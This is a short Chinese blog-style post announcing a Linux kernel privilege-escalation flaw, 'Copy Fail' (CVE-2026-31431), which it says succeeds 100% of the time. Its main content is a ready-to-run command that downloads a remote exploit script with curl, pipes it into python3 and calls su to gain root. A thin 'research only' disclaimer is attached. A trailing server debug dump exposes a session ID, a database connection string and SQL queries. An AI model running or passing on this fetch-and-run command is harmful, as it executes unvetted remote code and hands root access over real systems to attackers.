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Linux内核【史诗级】提权漏洞:Copy Fail

  • 2026-06-29 16:55:28
Linux内核【史诗级】提权漏洞:Copy Fail

2026年4月29，一个史诗级的Linux内核逻辑漏洞Copy Fail，编号CVE-2026-31431，提权成功率100%，比脏牛(Dirty Cow) 更可靠。

提权命令

curl https://copy.fail/exp | python3 && su

实战效果

本文仅作技术研究和学习交流。Any Issue, Please Contact Me.

end

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Linux 爆出九年来最致命漏洞,仅732 字节获取 root,云厂商全线告急

复现与修复指南:Linux内核本地提权漏洞Copy Fail(CVE-2026-31431)

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  1. 请求信息 : 2026-07-04 07:00:34 HTTP/2.0 GET : https://f.mffb.com.cn/a/490381.html
  2. 运行时间 : 0.219778s [ 吞吐率：4.55req/s ] 内存消耗：4,352.81kb 文件加载：140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=5eeec4af1af116180b52434de897f893
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  1. CONNECT:[ UseTime:0.000622s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000805s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.004887s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.005683s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000593s ]
  6. SELECT * FROM `set` [ RunTime:0.001330s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000538s ]
  8. SELECT * FROM `article` WHERE `id` = 490381 LIMIT 1 [ RunTime:0.000360s ]
  9. UPDATE `article` SET `lasttime` = 1783119635 WHERE `id` = 490381 [ RunTime:0.015103s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 67 LIMIT 1 [ RunTime:0.003202s ]
  11. SELECT * FROM `article` WHERE `id` < 490381 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.011535s ]
  12. SELECT * FROM `article` WHERE `id` > 490381 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.005796s ]
  13. SELECT * FROM `article` WHERE `id` < 490381 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.049850s ]
  14. SELECT * FROM `article` WHERE `id` < 490381 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.023416s ]
  15. SELECT * FROM `article` WHERE `id` < 490381 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.011709s ]
0.223079s